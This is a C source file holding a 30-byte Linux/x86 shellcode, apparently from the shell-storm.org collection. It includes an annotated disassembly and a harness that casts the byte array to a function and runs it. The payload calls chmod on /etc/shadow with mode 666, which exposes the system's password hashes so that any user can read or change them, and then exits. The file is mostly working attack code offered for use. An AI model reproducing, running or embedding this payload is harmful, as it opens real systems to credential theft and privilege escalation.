/*
   Linux/x86 - chmod("/etc/shadow",666) & exit(0)
    
 Info reg
        ------------------
    %eax = 15
    %ebx = /etc/shadow
    %ecx = 666

        %eax = 1
        %ebx = 0
  
   Shellcode 30 bytes
   Author: Jonathan Salwan < submit [AT] shell-storm.org >
   Web: http://www.shell-storm.org

 Disassembly of section .text:

 08048054 <.text>:
 8048054: 51                    push   %ecx
 8048055: 66 b9 b6 01           mov    $0x1b6,%cx
 8048059: 68 61 64 6f 77        push   $0x776f6461
 804805e: 68 63 2f 73 68        push   $0x68732f63
 8048063: 68 2f 2f 65 74        push   $0x74652f2f
 8048068: 89 e3                 mov    %esp,%ebx
 804806a: 6a 0f                 push   $0xf
 804806c: 58                    pop    %eax
 804806d: cd 80                 int    $0x80
 804806f: 40                    inc    %eax
 8048070: cd 80                 int    $0x80

*/

#include "stdio.h"

int main(int argc, char *argv[])
{

 char shellcode[] =  "\x51\x66\xb9\xb6"
    "\x01\x68\x61\x64"
    "\x6f\x77\x68\x63"  // chmod("/etc/shadow",666)
    "\x2f\x73\x68\x68"
    "\x2f\x2f\x65\x74"
    "\x89\xe3\x6a\x0f"
    "\x58\xcd\x80"

    "\x40\xcd\x80";     // exit(0);

 printf("Length: %d\n",strlen(shellcode));
 (*(void(*)()) shellcode)();
 
 return 0;
}